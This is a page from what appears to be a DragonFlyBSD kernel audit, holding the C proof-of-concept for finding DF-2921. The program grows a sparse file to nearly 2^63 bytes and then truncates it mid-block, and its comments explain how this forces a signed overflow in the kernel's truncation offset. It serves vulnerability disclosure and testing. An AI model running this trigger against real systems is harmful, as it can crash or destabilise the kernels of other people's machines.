DragonFlyBSD Kernel Audit
DF-2921 / op2921.c
← back to finding ↓ download raw
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void){ setvbuf(stdout,NULL,_IONBF,0);
    int fd = open("/home/maxx/df2921.bin", O_RDWR|O_CREAT|O_TRUNC, 0644);
    if (fd<0){perror("open");return 1;}
    /* extend to 2^63-4096 (sparse) */
    if (ftruncate(fd, 0x7ffffffffffff000LL)) { printf("extend-> %s\n", strerror(errno)); return 1; }
    printf("extend to 0x7ffffffffffff000: OK\n");
    /* pwrite one byte at the very end to dirty the last block */
    if (pwrite(fd, "A", 1, 0x7fffffffffffefffLL) != 1) printf("pwrite top: %s\n", strerror(errno));
    else printf("pwrite top byte: OK\n");
    /* truncate down mid-64K-block: length=2^63-32768, boff=0x8000 ->
       truncloffset = length + (blksize-boff) = 2^63 -> signed overflow */
    if (ftruncate(fd, 0x7fffffffffff8000LL)) { printf("trunc-> %s\n", strerror(errno)); return 1; }
    printf("truncate to 0x7fffffffffff8000: OK (no EFBIG, no panic)\n");
    if (ftruncate(fd, 0)) { perror("zero"); return 1; }
    printf("cleanup truncate to 0: OK\n");
    close(fd); unlink("/home/maxx/df2921.bin");
    return 0;
}